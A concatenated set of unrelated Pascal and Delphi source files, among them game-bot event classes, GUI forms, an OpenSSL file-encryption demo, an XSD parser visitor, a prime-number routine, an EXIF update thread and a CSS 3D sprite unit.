event OnMatchEnded: EventHandler<MatchEndedEventArgs>;
/// <summary>
/// Occurs when the server has calculated a path from your GetPath method
/// </summary>
event OnPathReceived: EventHandler<PathEventArgs>;
end;
implementation
constructor BotSpawnedEventArgs();
begin
end;
constructor HasDiedEventArgs(Killer: UTIdentifier; Killed: UTIdentifier);
begin
Self._killer := Killer;
Self._killed := Killed
end;
method HasDiedEventArgs.get_Killer: UTIdentifier;
begin
Result := _killer;
end;
method HasDiedEventArgs.get_Killed: UTIdentifier;
begin
Result := _killed;
end;
constructor SeenBotEventArgs(Id: UTIdentifier; Name: String; Team: String; Weapon: String; Rotation: UTVector; Location: UTVector; Velocity: UTVector; IsReachable: Boolean);
begin
Self._id := Id;
Self._name := Name;
Self._team := Team;
Self._weapon := Weapon;
Self._rotation := Rotation;
Self._location := Location;
Self._velocity := Velocity;
Self._isReachable := IsReachable
end;
method SeenBotEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method SeenBotEventArgs.get_Name: String;
begin
Result := _name;
end;
method SeenBotEventArgs.get_Team: String;
begin
Result := _team;
end;
method SeenBotEventArgs.get_Weapon: String;
begin
Result := _weapon;
end;
method SeenBotEventArgs.get_Rotation: UTVector;
begin
Result := _rotation;
end;
method SeenBotEventArgs.get_Location: UTVector;
begin
Result := _location;
end;
method SeenBotEventArgs.get_Velocity: UTVector;
begin
Result := _velocity;
end;
method SeenBotEventArgs.get_IsReachable: Boolean;
begin
Result := _isReachable;
end;
constructor BumpedEventArgs(Id: UTIdentifier; Location: UTVector; HitNormal: UTVector);
begin
Self._id := Id;
Self._location := Location;
Self._hitNormal := HitNormal
end;
method BumpedEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method BumpedEventArgs.get_Location: UTVector;
begin
Result := _location;
end;
method BumpedEventArgs.get_HitNormal: UTVector;
begin
Result := _hitNormal;
end;
constructor HeardSoundEventArgs(Id: UTIdentifier; Location: UTVector; Loudness: Single);
begin
Self._id := Id;
Self._location := Location;
Self._loudness := Loudness
end;
method HeardSoundEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method HeardSoundEventArgs.get_Location: UTVector;
begin
Result := _location;
end;
method HeardSoundEventArgs.get_Loudness: Single;
begin
Result := _loudness;
end;
constructor DamagedEventArgs(Id: UTIdentifier; Location: UTVector; DamageAmount: Integer; DamageType: String; Momentum: UTVector);
begin
Self._id := Id;
Self._location := Location;
Self._damageAmount := DamageAmount;
Self._damageType := DamageType;
Self._momentum := Momentum
end;
method DamagedEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method DamagedEventArgs.get_Location: UTVector;
begin
Result := _location;
end;
method DamagedEventArgs.get_DamageAmount: Integer;
begin
Result := _damageAmount;
end;
method DamagedEventArgs.get_DamageType: String;
begin
Result := _damageType;
end;
method DamagedEventArgs.get_Momentum: UTVector;
begin
Result := _momentum;
end;
constructor ChatEventArgs(Id: UTIdentifier; FromName: String; IsFromTeam: Boolean; Message: String);
begin
Self._id := Id;
Self._fromName := FromName;
Self._isFromTeam := IsFromTeam;
Self._message := Message
end;
method ChatEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method ChatEventArgs.get_FromName: String;
begin
Result := _fromName;
end;
method ChatEventArgs.get_IsFromTeam: Boolean;
begin
Result := _isFromTeam;
end;
method ChatEventArgs.get_Message: String;
begin
Result := _message;
end;
constructor TauntedEventArgs(Id: UTIdentifier; FromName: String);
begin
Self._id := Id;
Self._fromName := FromName
end;
method TauntedEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method TauntedEventArgs.get_FromName: String;
begin
Result := _fromName;
end;
constructor FallEventArgs(DidFall: Boolean; Location: UTVector);
begin
Self._didFall := DidFall;
Self._location := Location
end;
method FallEventArgs.get_DidFall: Boolean;
begin
Result := _didFall;
end;
method FallEventArgs.get_Location: UTVector;
begin
Result := _location;
end;
constructor WeaponChangedEventArgs(Id: UTIdentifier; WeaponClass: String);
begin
Self._id := Id;
Self._weaponClass := WeaponClass
end;
method WeaponChangedEventArgs.get_Id: UTIdentifier;
begin
Result := _id;
end;
method WeaponChangedEventArgs.get_WeaponClass: String;
begin
Result := _weaponClass;
end;
constructor PickupEventArgs(Item: UTItem; WasFromDrop: Boolean);
begin
Self._item := Item;
Self._wasDropped := WasFromDrop
end;
method PickupEventArgs.get_Item: UTItem;
begin
Result := _item;
end;
method PickupEventArgs.get_WasFromDrop: Boolean;
begin
Result := _wasDropped;
end;
constructor MatchEndedEventArgs(WinnerId: UTIdentifier; WinnerName: String; Reason: String);
begin
Self._winnerId := WinnerId;
Self._winnerName := WinnerName;
Self._reason := Reason
end;
method MatchEndedEventArgs.get_WinnerId: UTIdentifier;
begin
Result := _winnerId;
end;
method MatchEndedEventArgs.get_WinnerName: String;
begin
Result := _winnerName;
end;
method MatchEndedEventArgs.get_Reason: String;
begin
Result := _reason;
end;
constructor PathEventArgs(Id: String; Nodes: List<UTNavPoint>);
begin
Self._id := Id;
Self._nodes := Nodes
end;
method PathEventArgs.get_Id: String;
begin
Result := _id;
end;
method PathEventArgs.get_Nodes: List<UTNavPoint>;
begin
Result := _nodes;
end;
method BotEvents.Trigger_OnSpawned(e: BotSpawnedEventArgs);
begin
if OnSpawned <> nil then
begin
OnSpawned.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnDied(e: HasDiedEventArgs);
begin
if OnDied <> nil then
begin
OnDied.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnOtherBotDied(e: HasDiedEventArgs);
begin
if OnOtherBotDied <> nil then
begin
OnOtherBotDied.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnSeenOtherBot(e: SeenBotEventArgs);
begin
if OnSeenOtherBot <> nil then
begin
OnSeenOtherBot.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnBumped(e: BumpedEventArgs);
begin
if OnBumped <> nil then
begin
OnBumped.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnBumpedWall(e: BumpedEventArgs);
begin
if OnBumpedWall <> nil then
begin
OnBumpedWall.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnHeardNoise(e: HeardSoundEventArgs);
begin
if OnHeardNoise <> nil then
begin
OnHeardNoise.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnDamaged(e: DamagedEventArgs);
begin
if OnDamaged <> nil then
begin
OnDamaged.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnReceivedChat(e: ChatEventArgs);
begin
if OnReceivedChat <> nil then
begin
OnReceivedChat.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnFoundFall(e: FallEventArgs);
begin
if OnFoundFall <> nil then
begin
OnFoundFall.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnTaunted(e: TauntedEventArgs);
begin
if OnTaunted <> nil then
begin
OnTaunted.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnWeaponChanged(e: WeaponChangedEventArgs);
begin
if OnWeaponChanged <> nil then
begin
OnWeaponChanged.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnGotPickup(e: PickupEventArgs);
begin
if OnGotPickup <> nil then
begin
OnGotPickup.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnMatchEnded(e: MatchEndedEventArgs);
begin
if OnMatchEnded <> nil then
begin
OnMatchEnded.Invoke(Self._utBot, e)
end;
end;
method BotEvents.Trigger_OnPathReceived(e: PathEventArgs);
begin
if OnPathReceived <> nil then
begin
OnPathReceived.Invoke(Self._utBot, e)
end;
end;
constructor BotEvents(Bot: UTBot);
begin
Self._utBot := Bot
end;
end.
|
unit Strings;
interface
resourcestring
// This multi-plural pattern has two parameters (hours and minutes).
// It uses standard plural rules of English (1 = singular, all other are plurals) plus special zero case in hours.
SResultPlural = 'Driving time{plural, zero { } one { %d hour } other { %d hours }}{plural, one {%d minute} other {%d minutes}}.';
SAbout = 'Driving time calculator';
SNtLocale = 'en';
implementation
end.
|
unit cn_sp_OrderTypes_Unit_AE;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, cxContainer, cxEdit, cxTextEdit,
StdCtrls, cxControls, cxGroupBox, cxButtons, cnConsts;
type
TfrmOrderTypes_Ae = class(TForm)
OkButton: TcxButton;
CancelButton: TcxButton;
cxGroupBox1: TcxGroupBox;
NameLabel: TLabel;
ShortNameLabel: TLabel;
Name_Edit: TcxTextEdit;
ShortName_Edit: TcxTextEdit;
procedure OkButtonClick(Sender: TObject);
procedure CancelButtonClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Name_EditKeyPress(Sender: TObject; var Key: Char);
procedure ShortName_EditKeyPress(Sender: TObject; var Key: Char);
private
PLanguageIndex : byte;
procedure FormIniLanguage();
public
constructor Create(AOwner:TComponent; LanguageIndex : byte);reintroduce;
end;
var
frmOrderTypes_Ae: TfrmOrderTypes_Ae;
implementation
{$R *.dfm}
constructor TfrmOrderTypes_Ae.Create(AOwner:TComponent; LanguageIndex : byte);
begin
Screen.Cursor:=crHourGlass;
inherited Create(AOwner);
PLanguageIndex:= LanguageIndex;
FormIniLanguage();
Screen.Cursor:=crDefault;
end;
procedure TfrmOrderTypes_Ae.FormIniLanguage;
begin
NameLabel.caption:= cnConsts.cn_FullName[PLanguageIndex];
ShortNameLabel.caption:= cnConsts.cn_ShortName[PLanguageIndex];
OkButton.Caption:= cnConsts.cn_Accept[PLanguageIndex];
CancelButton.Caption:= cnConsts.cn_Cancel[PLanguageIndex];
end;
procedure TfrmOrderTypes_Ae.OkButtonClick(Sender: TObject);
begin
if ((Name_Edit.Text = '') or (ShortName_Edit.Text = '')) then
begin
ShowMessage('Необхідно заповнити усі данні!');
Exit;
end;
ModalResult:=mrOk;
end;
procedure TfrmOrderTypes_Ae.CancelButtonClick(Sender: TObject);
begin
close;
end;
procedure TfrmOrderTypes_Ae.FormShow(Sender: TObject);
begin
Name_Edit.SetFocus;
end;
procedure TfrmOrderTypes_Ae.Name_EditKeyPress(Sender: TObject;
var Key: Char);
begin
if key = #13 then ShortName_Edit.SetFocus;
end;
procedure TfrmOrderTypes_Ae.ShortName_EditKeyPress(Sender: TObject;
var Key: Char);
begin
if key = #13 then OkButton.SetFocus;
end;
end.
|
unit MainScreen;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls,
ExtCtrls, Buttons;
type
{ TFmMainScreen }
TFmMainScreen = class(TForm)
BbClose: TBitBtn;
GbAdvice: TGroupBox;
GbMemory: TGroupBox;
GbOperatingSystem: TGroupBox;
GbProcessor: TGroupBox;
ImAdvice: TImage;
ImMemory: TImage;
ImOperatingSystem: TImage;
ImProcessor: TImage;
LeOperatingSystemArchitecture: TLabeledEdit;
LeOperatingSystemProductName: TLabeledEdit;
LeProcessorArchitecture: TLabeledEdit;
LeProcessorModel: TLabeledEdit;
LeRam: TLabeledEdit;
MeAdvice: TMemo;
procedure BbCloseClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure LoadComputerInfo();
procedure TranslateInterface();
private
{ private declarations }
public
{ public declarations }
end;
var
FmMainScreen: TFmMainScreen;
implementation
{$R *.lfm}
uses
Localization, ComputerInfo;
{ TFmMainScreen }
procedure TFmMainScreen.BbCloseClick(Sender: TObject);
begin
Close();
end;
procedure TFmMainScreen.FormCreate(Sender: TObject);
begin
TranslateInterface();
LoadComputerInfo();
end;
procedure TFmMainScreen.LoadComputerInfo();
var
ComputerInfo: TComputerInfo;
begin
ComputerInfo := TComputerInfo.Create();
LeProcessorModel.Text := ComputerInfo.ProcessorModel;
LeProcessorArchitecture.Text := ComputerInfo.ProcessorArchitecture;
LeRam.Text := ComputerInfo.Ram;
LeOperatingSystemProductName.Text := ComputerInfo.OperatingSystemProductName;
LeOperatingSystemArchitecture.Text :=
ComputerInfo.OperatingSystemArchitecture;
MeAdvice.Lines.Clear;
MeAdvice.Lines.Add(ComputerInfo.Advice);
end;
procedure TFmMainScreen.TranslateInterface();
begin
Application.Title := Locale.FmMainScreen;
Caption := Locale.FmMainScreen;
GbProcessor.Caption := Locale.GbProcessor;
LeProcessorModel.EditLabel.Caption := Locale.LeProcessorModel;
LeProcessorArchitecture.EditLabel.Caption := Locale.LeProcessorArchitecture;
GbMemory.Caption := Locale.GbMemory;
LeRam.EditLabel.Caption := Locale.LeRam;
GbOperatingSystem.Caption := Locale.GbOperatingSystem;
LeOperatingSystemArchitecture.EditLabel.Caption := Locale.LeOperatingSystemArchitecture;
LeOperatingSystemProductName.EditLabel.Caption := Locale.LeOperatingSystemProductName;
GbAdvice.Caption := Locale.GbAdvice;
BbClose.Caption := Locale.BbClose;
end;
end.
|
unit SSLDemo.EncFrame;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes,
Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;
type
TEncFrame = class(TFrame)
btnEncrypt: TButton;
memTest: TMemo;
btnDecrypt: TButton;
Label1: TLabel;
Label2: TLabel;
edtInputFileName: TEdit;
edtOutputFileName: TEdit;
chkBase64: TCheckBox;
BtnGenrateFile: TButton;
cmbCipher: TComboBox;
Label3: TLabel;
procedure btnEncryptClick(Sender: TObject);
procedure btnDecryptClick(Sender: TObject);
procedure BtnGenrateFileClick(Sender: TObject);
private
{ Private declarations }
public
constructor Create(AOwner: TComponent); override;
end;
implementation
{$R *.dfm}
uses
OpenSSL.EncUtils;
procedure TEncFrame.btnEncryptClick(Sender: TObject);
var
EncUtil: TEncUtil;
begin
EncUtil := TEncUtil.Create;
try
EncUtil.UseBase64 := chkBase64.Checked;
EncUtil.Passphrase := InputBox(Name, 'password', '');
EncUtil.Cipher := cmbCipher.Text;
EncUtil.Encrypt(edtInputFileName.Text, edtOutputFileName.Text);
finally
EncUtil.Free;
end;
end;
procedure TEncFrame.BtnGenrateFileClick(Sender: TObject);
begin
memTest.Lines.SaveToFile(edtInputFileName.Text);
end;
constructor TEncFrame.Create(AOwner: TComponent);
var
TestFolder: string;
begin
inherited;
TestFolder := StringReplace(ExtractFilePath(ParamStr(0)), 'Samples\SSLDemo', 'TestData', [rfReplaceAll, rfIgnoreCase]);
edtInputFileName.Text := TestFolder + 'AES_TEST_CLEAR.txt';
edtOutputFileName.Text := TestFolder + 'AES_TEST_ENC.txt';
TEncUtil.SupportedCiphers(cmbCipher.Items);
end;
procedure TEncFrame.btnDecryptClick(Sender: TObject);
var
EncUtil: TEncUtil;
begin
EncUtil := TEncUtil.Create;
try
EncUtil.UseBase64 := chkBase64.Checked;
EncUtil.Passphrase := InputBox(Name, 'password', '');
EncUtil.Cipher := cmbCipher.Text;
EncUtil.Decrypt(edtOutputFileName.Text, edtInputFileName.Text);
finally
EncUtil.Free;
end;
end;
end.
|
namespace proholz.xsdparser;
interface
type
XsdSequenceVisitor = public class(XsdAnnotatedElementsVisitor)
private
// *
// * The {@link XsdSequence} instance which owns this {@link XsdSequenceVisitor} instance. This way this visitor instance
// * can perform changes in the {@link XsdSequence} object.
//
//
var owner: XsdSequence;
public
constructor(aowner: XsdSequence);
method visit(element: XsdElement); override;
method visit(element: XsdGroup); override;
method visit(element: XsdChoice); override;
method visit(element: XsdSequence); override;
end;
implementation
constructor XsdSequenceVisitor(aowner: XsdSequence);
begin
inherited constructor(aowner);
self.owner := aowner;
end;
method XsdSequenceVisitor.visit(element: XsdElement);
begin
inherited visit(element);
owner.addElement(element);
end;
method XsdSequenceVisitor.visit(element: XsdGroup);
begin
inherited visit(element);
owner.addElement(element);
end;
method XsdSequenceVisitor.visit(element: XsdChoice);
begin
inherited visit(element);
owner.addElement(element);
end;
method XsdSequenceVisitor.visit(element: XsdSequence);
begin
inherited visit(element);
owner.addElement(element);
end;
end. |
(*
Category: SWAG Title: MATH ROUTINES
Original name: 0122.PAS
Description: Prime Number function
Author: ALLEN CHENG
Date: 03-05-97 06:02
*)
{ Prime v1.1 (C) 1997 Allen Cheng. All Rights Reserved.
Please feel free to use this unit on your program,
give me Credit if you like.... Enjoy!
This is quite fast, and is about 50-80% faster than the fastest one in SWAG.
As this Function is optimized for large numbers, you may not see any
differents is small numbers, but it only takes about 6 seconds to find all
the primes from 1000000 to 1020000. A newer version will be out soon
which should be about 10-20% faster.
Homepage: http://www.geocities.com/SiliconValley/Park/8979/
Email: ac@4u.net
You can always download the newest version from my Homepage.
P.S. If you've found some ways to optimized this unit, please feel free to
change anything, it's nice if you can send me a copy.
}
{
Unit Prime;
Interface
Function PrimeChk(Num: LongInt): Boolean;
Implementation
}
Function PrimeChk(Num: LongInt): Boolean;
Var x : Longint;
y : Integer;
Begin
x := -1; y := 0;
Case Num Of
2,3 : Begin PrimeChk := True; Exit; End;
1 : Begin PrimeChk := False; Exit; End;
End;
If (Num mod 2)=0 Then Begin PrimeChk := False; Exit; End; {Check if Even #}
While (Sqr(x) < Num) And (y < 2) Do
Begin
x := x + 2; { Only check with Odd numbers }
If (Num mod x)=0 Then y:=y+1;
End;
If y <> 1 Then PrimeChk := False Else PrimeChk := True;
End;
{End.}
{ ------------ DEMO --------------- }
{Program Example;}
{Uses Prime;}
Var
Number : LongInt;
Begin
{List all Primes from 1000000 to 1020000}
For Number := 1000000 to 1020000 Do
If PrimeChk(Number) = True Then Write(Number,' ');
End.
|
unit uExifPatchThread;
interface
uses
SyncObjs,
ActiveX,
Classes,
Dmitry.Utils.Files,
uRuntime,
uConstants,
uMemory,
UnitDBDeclare,
uDBThread,
uExifUtils,
uDBUtils,
uDBContext,
uLockedFileNotifications;
type
TExifPatchThread = class(TDBThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;
TExifPatchManager = class
private
FData: TList;
FSync: TCriticalSection;
FThreadCount: Integer;
procedure RegisterThread;
procedure UnRegisterThread;
function ExtractPatchInfo: TExifPatchInfo;
procedure StartThread;
public
constructor Create;
destructor Destroy; override;
procedure AddPatchInfo(Context: IDBContext; ID: Integer; Params: TEventFields; Value: TEventValues);
end;
function ExifPatchManager: TExifPatchManager;
implementation
var
FManager: TExifPatchManager = nil;
function ExifPatchManager: TExifPatchManager;
begin
if FManager = nil then
FManager := TExifPatchManager.Create;
Result := FManager;
end;
{ TExifPatchThread }
procedure TExifPatchThread.Execute;
var
Info: TExifPatchInfo;
FileName: string;
LastUpdateTime: Cardinal;
Context: IDBContext;
MediaRepository: IMediaRepository;
begin
inherited;
FreeOnTerminate := True;
CoInitializeEx(nil, COM_MODE);
try
ExifPatchManager.RegisterThread;
try
Info := ExifPatchManager.ExtractPatchInfo;
LastUpdateTime := GetTickCount;
while (Info <> nil) or (GetTickCount - LastUpdateTime < 10000) do
begin
if Info <> nil then
begin
Context := Info.Context;
MediaRepository := Context.Media;
LastUpdateTime := GetTickCount;
FileName := Info.Value.FileName;
if not FileExistsSafe(FileName) then
FileName := MediaRepository.GetFileNameById(Info.ID);
TLockFiles.Instance.AddLockedFile(FileName, 10000);
try
UpdateFileExif(FileName, Info);
finally
TLockFiles.Instance.AddLockedFile(FileName, 1000);
end;
F(Info);
end;
if DBTerminating then
Break;
Sleep(50);
Info := ExifPatchManager.ExtractPatchInfo;
end;
finally
ExifPatchManager.UnRegisterThread;
end;
finally
CoUninitialize;
end;
end;
{ TExifPatchManager }
procedure TExifPatchManager.AddPatchInfo(Context: IDBContext; ID: Integer; Params: TEventFields; Value: TEventValues);
var
Info: TExifPatchInfo;
begin
FSync.Enter;
try
Info := TExifPatchInfo.Create;
Info.ID := ID;
Info.Params := Params;
Info.Value := Value;
Info.Value.JPEGImage := nil; //don't copy JPEG image
Info.Context := Context;
FData.Add(Info);
StartThread;
finally
FSync.Leave;
end;
end;
constructor TExifPatchManager.Create;
begin
FData := TList.Create;
FSync := TCriticalSection.Create;
FThreadCount := 0;
end;
destructor TExifPatchManager.Destroy;
begin
FreeList(FData);
F(FSync);
inherited;
end;
function TExifPatchManager.ExtractPatchInfo: TExifPatchInfo;
begin
Result := nil;
FSync.Enter;
try
if FData.Count > 0 then
begin
Result := FData[0];
FData.Delete(0);
end;
finally
FSync.Leave;
end;
end;
procedure TExifPatchManager.RegisterThread;
begin
Inc(FThreadCount);
end;
procedure TExifPatchManager.StartThread;
begin
if (FThreadCount = 0) and (FData.Count > 0) then
TExifPatchThread.Create(nil, False);
end;
procedure TExifPatchManager.UnRegisterThread;
begin
Dec(FThreadCount);
StartThread;
end;
initialization
finalization
F(FManager);
end.
|
unit qtx.visual.sprite3d;
//#############################################################################
//
// Author: Jon Lennart Aasenden [cipher diaz of quartex]
// Copyright: Jon Lennart Aasenden, all rights reserved
//
// Description:
// ============
// Updated port of Sprite3D, which allows for 3D manipulation of any
// HTML elements, powered by the CSS GPU capabilities
//
// _______ _______ _______ _________ _______
// ( ___ )|\ /|( ___ )( ____ )\__ __/( ____ \|\ /|
// | ( ) || ) ( || ( ) || ( )| ) ( | ( \/( \ / )
// | | | || | | || (___) || (____)| | | | (__ \ (_) /
// | | | || | | || ___ || __) | | | __) ) _ (
// | | /\| || | | || ( ) || (\ ( | | | ( / ( ) \
// | (_\ \ || (___) || ) ( || ) \ \__ | | | (____/\( / \ )
// (____\/_)(_______)|/ \||/ \__/ )_( (_______/|/ \|
//
//
//#############################################################################
interface
uses
System.Types,
SmartCL.System,
SmartCL.Components,
SmartCL.Graphics;
type
TQTXTransformOptions = set of
(
toUsePos, // You will use position properties
toUseRotX, // You will use ROTX property
toUseRotY, // You will use ROTY property
toUseRotZ, // You will use ROTZ property
toUseScale // You will apply scale property
);
TQTXTransformController = Class(TObject)
private
FHandle: THandle;
FX: Float;
FY: Float;
FZ: Float;
FRotX: Float;
FRotY: Float;
FRotZ: Float;
FRegX: Float;
FRegY: Float;
FRegZ: Float;
FScaleX: Float;
FScaleY: Float;
FScaleZ: Float;
FFlags: TQTXTransformOptions;
public
Property Handle:THandle read FHandle;
property RotationX: Float read FRotX write FRotX;
property RotationY: Float read FRotY write FRotY;
property RotationZ: Float read FRotZ write FRotZ;
property ScaleX: Float read FScaleX write FScaleX;
property ScaleY: Float read FScaleY write FScaleY;
property ScaleZ: Float read FScaleZ write FScaleZ;
property RegX: Float read FRegX write FRegX;
property RegY: Float read FRegY write FRegY;
property RegZ: Float read FRegZ write FRegZ;
property X: Float read FX write FX;
property Y: Float read FY write FY;
property Z: Float read FZ write FZ;
procedure SetRegistrationPoint(const X, Y, Z: Float);
procedure SetTransformOrigin(const X, Y: Float);
procedure Scale(const X, Y, Z: Float); overload;
procedure Scale(const aValue: Float); overload;
procedure RotateX(const aValue: Float);
procedure RotateY(const aValue: Float);
procedure RotateZ(const aValue: Float);
procedure Rotate(const XFactor, YFactor, ZFactor: Float); overload;
procedure Rotate(const aValue: Float); overload;
procedure SetRotation(const X, Y, Z: Float);
procedure SetPosition(const X, Y, Z: Float);
procedure MoveX(const aValue: Float);
procedure MoveY(const aValue: Float);
procedure MoveZ(const aValue: Float);
procedure Move(X, Y, Z: Float);
procedure SetTransformFlags(const aValue:TQTXTransformOptions);
procedure Update; virtual;
Constructor Create(const aHandle:THandle);
End;
TQTX3dObject = Class(TW3MovableControl)
private
FHandle: THandle;
FX: Float;
FY: Float;
FZ: Float;
FRotX: Float;
FRotY: Float;
FRotZ: Float;
FRegX: Float;
FRegY: Float;
FRegZ: Float;
FScaleX: Float;
FScaleY: Float;
FScaleZ: Float;
FFlags: TQTXTransformOptions;
protected
procedure InitializeObject;override;
procedure StyleTagObject;override;
public
Property Handle:THandle read FHandle;
property RotationX: Float read FRotX write FRotX;
property RotationY: Float read FRotY write FRotY;
property RotationZ: Float read FRotZ write FRotZ;
property ScaleX: Float read FScaleX write FScaleX;
property ScaleY: Float read FScaleY write FScaleY;
property ScaleZ: Float read FScaleZ write FScaleZ;
property RegX: Float read FRegX write FRegX;
property RegY: Float read FRegY write FRegY;
property RegZ: Float read FRegZ write FRegZ;
property X: Float read FX write FX;
property Y: Float read FY write FY;
property Z: Float read FZ write FZ;
procedure SetRegistrationPoint(const X, Y, Z: Float);
procedure SetTransformOrigin(const X, Y: Float);
procedure Scale(const X, Y, Z: Float); overload;
procedure Scale(const aValue: Float); overload;
procedure RotateX(const aValue: Float);
procedure RotateY(const aValue: Float);
procedure RotateZ(const aValue: Float);
procedure Rotate(const XFactor, YFactor, ZFactor: Float); overload;
procedure Rotate(const aValue: Float); overload;
procedure SetRotation(const X, Y, Z: Float);
procedure SetPosition(const X, Y, Z: Float);
procedure MoveX(const aValue: Float);
procedure MoveY(const aValue: Float);
procedure MoveZ(const aValue: Float);
procedure Move(X, Y, Z: Float);
procedure SetTransformFlags(const aValue:TQTXTransformOptions);
procedure Update; virtual;
end;
TQTX3dContainer = Class(TQTX3dObject)
protected
procedure StyleTagObject;override;
public
function AddObject:TQTX3dObject;
end;
TQTX3dScene = Class(TQTX3dObject)
protected
procedure StyleTagObject;override;
public
function AddScene:TQTX3dContainer;
end;
implementation
uses qtx.helpers;
//############################################################################
// TQTX3dContainer
//############################################################################
procedure TQTX3dContainer.StyleTagObject;
Begin
inherited;
Handle.style[w3_CSSPrefix('transformStyle')] := 'preserve-3d';
Handle.style[w3_CSSPrefix('Perspective')] := 800;
Handle.style[w3_CSSPrefix('transformOrigin')] := '50% 50%';
Handle.style[w3_CSSPrefix('Transform')] := 'translateZ(0px)';
end;
function TQTX3dContainer.AddObject:TQTX3dContainer;
begin
result:=TQTX3dObject.Create(self);
end;
//############################################################################
// TQTX3dScene
//############################################################################
procedure TQTX3dScene.StyleTagObject;
Begin
inherited;
Handle.style[w3_CSSPrefix('transformStyle')] := 'preserve-3d';
Handle.style[w3_CSSPrefix('Perspective')] := 800;
Handle.style[w3_CSSPrefix('transformOrigin')] := '50% 50%';
Handle.style[w3_CSSPrefix('Transform')] := 'translateZ(0px)';
end;
function TQTX3dScene.AddScene:TQTX3dContainer;
begin
result:=TQTX3dContainer.Create(self);
end;
//############################################################################
// TQTX3dObject
//############################################################################
procedure TQTX3dObject.InitializeObject;
begin
inherited;
FScaleX := 1.0;
FScaleY := 1.0;
FScaleZ := 1.0;
FFlags:=[toUsePos,toUseRotX,toUseRotY,toUseRotZ,toUseScale];
end;
procedure TQTX3dObject.StyleTagObject;
Begin
Handle.style[w3_CSSPrefix('transformStyle')] := 'preserve-3d';
Handle.style[w3_CSSPrefix('Transform')] := 'translateZ(0px)';
end;
procedure TQTX3dObject.MoveX(const aValue: Float);
begin
FX+=aValue;
end;
procedure TQTX3dObject.MoveY(const aValue: Float);
begin
FY+=aValue;
end;
procedure TQTX3dObject.MoveZ(const aValue: Float);
begin
FZ+=aValue;
end;
procedure TQTX3dObject.Move(x, y, z: Float);
begin
FX+=X;
FY+=Y;
FZ+=Z;
end;
procedure TQTX3dObject.SetRegistrationPoint(const X,Y,Z: Float);
begin
FRegX := X;
FRegY := Y;
FRegZ := Z;
end;
procedure TQTX3dObject.Scale(const X,Y,Z: Float);
begin
FScaleX := X;
FScaleY := Y;
FScaleZ := Z;
end;
procedure TQTX3dObject.Scale(const aValue: Float);
begin
FScaleX := aValue;
FScaleY := aValue;
FScaleZ := aValue;
end;
procedure TQTX3dObject.SetPosition(const X,Y,Z: Float);
begin
FX := X;
FY := Y;
FZ := Z;
end;
procedure TQTX3dObject.SetRotation(const X,Y,Z: Float);
begin
FRotX := X;
FRotY := Y;
FRotZ := Z;
end;
procedure TQTX3dObject.Rotate(const XFactor,YFactor,ZFactor: Float);
begin
FRotX+=XFactor;
FRotY+=YFactor;
FRotZ+=ZFactor;
end;
procedure TQTX3dObject.Rotate(const aValue: Float);
begin
FRotX+=aValue;
FRotY+=aValue;
FRotZ+=aValue;
end;
procedure TQTX3dObject.RotateX(const aValue: Float);
begin
FRotX+=aValue;
end;
procedure TQTX3dObject.RotateY(const aValue: Float);
begin
FRotY+=aValue;
end;
procedure TQTX3dObject.RotateZ(const aValue: Float);
begin
FRotZ+=aValue;
end;
procedure TQTX3dObject.SetTransformOrigin(const X, Y: Float);
begin
FHandle.style[w3_CSSPrefix('transformOrigin')] :=
FloatToStr(X) +'px ' + FloatToStr(Y) +'px';
end;
procedure TQTX3dObject.setTransformFlags(const aValue:TQTXTransformOptions);
begin
FFlags := aValue;
end;
procedure TQTX3dObject.Update;
var
mTemp: String;
begin
if (FHandle) then
begin
mTemp:='';
if (toUseRotX in FFlags) then
mTemp += 'rotateX(' + FloatToStr(FRotX) + 'deg) ';
if (toUseRotY in FFlags) then
mTemp += 'rotateY(' + FloatToStr(FRotY) + 'deg) ';
if (toUseRotZ in FFlags) then
mTemp += 'rotateZ(' + FloatToStr(FRotZ) + 'deg) ';
if (toUsePos in FFlags) then
mTemp += 'translate3d('
+ FloatToStr(FX - FRegX) + 'px,'
+ FloatToStr(FY - FRegY) + 'px,'
+ FloatToStr(FZ - FRegZ) + 'px) ';
if (toUseScale in FFlags) then
mTemp += 'scale3d(' + FloatToStr(FScaleX) + ','
+ FloatToStr(FScaleY) +','
+ FloatToStr(FScaleZ) + ') ';
FHandle.style[w3_CSSPrefix('Transform')] := mTemp;
end;
end;
//############################################################################
// TQTXTransformController
//############################################################################
Constructor TQTXTransformController.Create(const aHandle:THandle);
Begin
inherited Create;
FScaleX := 1.0;
FScaleY := 1.0;
FScaleZ := 1.0;
FFlags:=[toUsePos,toUseRotX,toUseRotY,toUseRotZ,toUseScale];
if (aHandle) then
begin
FHandle:=aHandle;
FHandle.style[w3_CSSPrefix('transformStyle')] := 'preserve-3d';
FHandle.style[w3_CSSPrefix('Transform')] := 'translateZ(0px)';
Update;
end else
Raise EW3Exception.Create('Invalid control handle error');
end;
